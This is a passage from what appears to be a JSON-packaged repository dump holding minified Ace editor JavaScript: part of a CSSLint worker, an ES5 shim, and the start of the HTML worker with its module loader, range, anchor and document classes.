s=t.lastIndexOf(\"/\"),o=t;return s===-1&&(s=t.lastIndexOf(\"\\\\\")),s>-1&&(o=t.substring(s+1)),CSSLint.Util.forEach(r,function(e,t){i=i+\"\\n\\n\"+o,e.rollup?(i+=\"\\n\"+(t+1)+\": \"+e.type,i+=\"\\n\"+e.message):(i+=\"\\n\"+(t+1)+\": \"+e.type+\" at line \"+e.line+\", col \"+e.col,i+=\"\\n\"+e.message,i+=\"\\n\"+e.evidence)}),i}}),module.exports.CSSLint=CSSLint}),define(\"ace/mode/css_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/css/csslint\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./css/csslint\").CSSLint,u=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.ruleset=null,this.setDisabledRules(\"ids|order-alphabetical\"),this.setInfoRules(\"adjoining-classes|qualified-headings|zero-units|gradients|import|outline-none|vendor-prefix\")};r.inherits(u,s),function(){this.setInfoRules=function(e){typeof e==\"string\"&&(e=e.split(\"|\")),this.infoRules=i.arrayToMap(e),this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.setDisabledRules=function(e){if(!e)this.ruleset=null;else{typeof e==\"string\"&&(e=e.split(\"|\"));var t={};o.getRules().forEach(function(e){t[e.id]=!0}),e.forEach(function(e){delete t[e]}),this.ruleset=t}this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return this.sender.emit(\"annotate\",[]);var t=this.infoRules,n=o.verify(e,this.ruleset);this.sender.emit(\"annotate\",n.messages.map(function(e){return{row:e.line-1,column:e.col-1,text:e.message,type:t[e.rule.id]?\"info\":e.type,rule:e.rule.name}}))}}.call(u.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-html.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return 